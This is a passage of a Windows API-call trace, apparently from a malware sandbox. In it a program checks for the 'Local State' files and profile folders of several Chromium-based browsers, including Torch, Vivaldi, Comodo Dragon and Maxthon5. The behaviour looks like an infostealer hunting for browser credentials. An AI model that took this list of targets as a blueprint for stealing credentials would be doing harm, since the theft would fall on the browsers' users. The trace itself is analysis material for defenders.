0x3 [0143.379] SetLastError (dwErrCode=0x3) [0143.380] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208007e, ftCreationTime.dwHighDateTime=0x90, ftLastAccessTime.dwLowDateTime=0x208007e, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x12, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x872ce8, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.380] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.380] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Torch\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\" [0143.380] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\" [0143.380] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\" [0143.380] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State" [0143.380] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0143.380] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x82) returned 0x3340048 [0143.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=65, lpWideCharStr=0x3340048, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State") returned 65 [0143.380] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.380] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.380] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\local state")) returned 0xffffffff [0143.380] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.380] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.380] GetLastError () returned 0x3 [0143.381] SetLastError (dwErrCode=0x3) [0143.381] GetLastError () returned 0x3 [0143.381] SetLastError (dwErrCode=0x3) [0143.381] GetLastError () returned 0x3 [0143.381] SetLastError (dwErrCode=0x3) [0143.381] GetLastError () returned 0x3 [0143.381] SetLastError (dwErrCode=0x3) [0143.381] GetLastError () returned 0x3 [0143.381] SetLastError (dwErrCode=0x3) [0143.381] GetLastError () returned 0x3 [0143.381] SetLastError (dwErrCode=0x3) [0143.381] GetLastError () returned 0x3 [0143.382] SetLastError (dwErrCode=0x3) [0143.382] GetLastError () returned 0x3 [0143.382] SetLastError (dwErrCode=0x3) [0143.382] GetLastError () returned 0x3 [0143.382] SetLastError (dwErrCode=0x3) [0143.382] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208007e, ftCreationTime.dwHighDateTime=0x90, ftLastAccessTime.dwLowDateTime=0x208007e, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x12, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x872bc8, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.382] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.382] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Orbitum\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\" [0143.382] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\" [0143.382] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\" [0143.382] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\Local State" [0143.383] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=67, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0143.383] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x86) returned 0x3340048 [0143.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=67, lpWideCharStr=0x3340048, cchWideChar=67 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\Local State") returned 67 [0143.383] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.383] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.383] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\orbitum\\user data\\local state")) returned 0xffffffff [0143.383] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.383] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.383] GetLastError () returned 0x3 [0143.383] SetLastError (dwErrCode=0x3) [0143.383] GetLastError () returned 0x3 [0143.383] SetLastError (dwErrCode=0x3) [0143.383] GetLastError () returned 0x3 [0143.384] SetLastError (dwErrCode=0x3) [0143.384] GetLastError () returned 0x3 [0143.384] SetLastError (dwErrCode=0x3) [0143.384] GetLastError () returned 0x3 [0143.384] SetLastError (dwErrCode=0x3) [0143.384] GetLastError () returned 0x3 [0143.384] SetLastError (dwErrCode=0x3) [0143.384] GetLastError () returned 0x3 [0143.384] SetLastError (dwErrCode=0x3) [0143.384] GetLastError () returned 0x3 [0143.384] SetLastError (dwErrCode=0x3) [0143.384] GetLastError () returned 0x3 [0143.384] SetLastError (dwErrCode=0x3) [0143.384] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080082, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x790260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x85ee18, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.385] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.385] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Vivaldi\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\" [0143.385] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\" [0143.385] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\" [0143.385] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State" [0143.385] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=67, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0143.385] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x86) returned 0x3340048 [0143.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=67, lpWideCharStr=0x3340048, cchWideChar=67 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State") returned 67 [0143.385] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.385] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.385] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\local state")) returned 0xffffffff [0143.386] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.386] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.386] GetLastError () returned 0x3 [0143.386] SetLastError (dwErrCode=0x3) [0143.386] GetLastError () returned 0x3 [0143.386] SetLastError (dwErrCode=0x3) [0143.386] GetLastError () returned 0x3 [0143.386] SetLastError (dwErrCode=0x3) [0143.386] GetLastError () returned 0x3 [0143.386] SetLastError (dwErrCode=0x3) [0143.386] GetLastError () returned 0x3 [0143.386] SetLastError (dwErrCode=0x3) [0143.386] GetLastError () returned 0x3 [0143.386] SetLastError (dwErrCode=0x3) [0143.387] GetLastError () returned 0x3 [0143.387] SetLastError (dwErrCode=0x3) [0143.387] GetLastError () returned 0x3 [0143.387] SetLastError (dwErrCode=0x3) [0143.387] GetLastError () returned 0x3 [0143.387] SetLastError (dwErrCode=0x3) [0143.387] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080082, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x790260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x85ee18, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.387] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.387] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Comodo\\Dragon\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\" [0143.387] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\" [0143.387] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\" [0143.387] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State" [0143.387] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0143.388] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x92) returned 0x3340048 [0143.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=73, lpWideCharStr=0x3340048, cchWideChar=73 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State") returned 73 [0143.388] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.388] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.388] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\local state")) returned 0xffffffff [0143.388] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.388] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.388] GetLastError () returned 0x3 [0143.388] SetLastError (dwErrCode=0x3) [0143.388] GetLastError () returned 0x3 [0143.388] SetLastError (dwErrCode=0x3) [0143.388] GetLastError () returned 0x3 [0143.388] SetLastError (dwErrCode=0x3) [0143.388] GetLastError () returned 0x3 [0143.388] SetLastError (dwErrCode=0x3) [0143.389] GetLastError () returned 0x3 [0143.389] SetLastError (dwErrCode=0x3) [0143.389] GetLastError () returned 0x3 [0143.389] SetLastError (dwErrCode=0x3) [0143.389] GetLastError () returned 0x3 [0143.389] SetLastError (dwErrCode=0x3) [0143.389] GetLastError () returned 0x3 [0143.389] SetLastError (dwErrCode=0x3) [0143.389] GetLastError () returned 0x3 [0143.389] SetLastError (dwErrCode=0x3) [0143.389] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208008e, ftCreationTime.dwHighDateTime=0xa0, ftLastAccessTime.dwLowDateTime=0x208008e, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x869738, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.389] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.390] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Nichrome\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\" [0143.390] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\" [0143.390] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\" [0143.390] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\Local State" [0143.390] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0143.390] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x88) returned 0x3340048 [0143.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=68, lpWideCharStr=0x3340048, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\Local State") returned 68 [0143.390] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.390] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.390] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\nichrome\\user data\\local state")) returned 0xffffffff [0143.390] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.390] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.390] GetLastError () returned 0x3 [0143.390] SetLastError (dwErrCode=0x3) [0143.390] GetLastError () returned 0x3 [0143.390] SetLastError (dwErrCode=0x3) [0143.390] GetLastError () returned 0x3 [0143.391] SetLastError (dwErrCode=0x3) [0143.391] GetLastError () returned 0x3 [0143.391] SetLastError (dwErrCode=0x3) [0143.391] GetLastError () returned 0x3 [0143.391] SetLastError (dwErrCode=0x3) [0143.391] GetLastError () returned 0x3 [0143.391] SetLastError (dwErrCode=0x3) [0143.391] GetLastError () returned 0x3 [0143.392] SetLastError (dwErrCode=0x3) [0143.392] GetLastError () returned 0x3 [0143.392] SetLastError (dwErrCode=0x3) [0143.392] GetLastError () returned 0x3 [0143.392] SetLastError (dwErrCode=0x3) [0143.392] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080084, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x790260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x85ee18, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.393] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.393] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Maxthon5\\Users\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\" [0143.393] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\" [0143.393] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\" [0143.393] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\Local State" [0143.393] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0143.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0143.393] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x3340048 [0143.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=64, lpWideCharStr=0x3340048, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\Local State") returned 64 [0143.393] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23611c0 [0143.393] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.393] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\maxthon5\\users\\local state")) returned 0xffffffff [0143.394] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.394] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.394] GetLastError () returned 0x3 [0143.394] SetLastError (dwErrCode=0x3) [0143.394] GetLastError () returned 0x3 [0143.394] SetLastError (dwErrCode=0x3) [0143.394] GetLastError () returned 0x3 [0143.394] SetLastError (dwErrCode=0x3) [0143.394] GetLastError () returned 0x3 [0143.394] SetLastError (dwErrCode=0x3) [0143.394] GetLastError () returned 0x3 [0143.394] SetLastError (dwErrCode=0x3) [0143.394] GetLastError () returned 0x3 [0143.395] SetLastError (dwErrCode=0x3) [0143.395] GetLastError () returned 0x3 [0143.395] SetLastError (dwErrCode=0x3) [0143.395] GetLastError () returned 0x3 [0143.395] SetLastError (dwErrCode=0x3) [0143.395] GetLastError () returned 0x3 [0143.395] SetLastError (dwErrCode=0x3) [0143.395] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208007c, ftCreationTime.dwHighDateTime=0x90, ftLastAccessTime.dwLowDateTime=0x208007c, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x12, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x872868, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.395] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.395] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Sputnik\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\" [0143.396] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\" [0143.396] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\" [0143.396] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\Local State" [0143.396] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=67, lpWideCharStr=0x0, cchWideChar=0 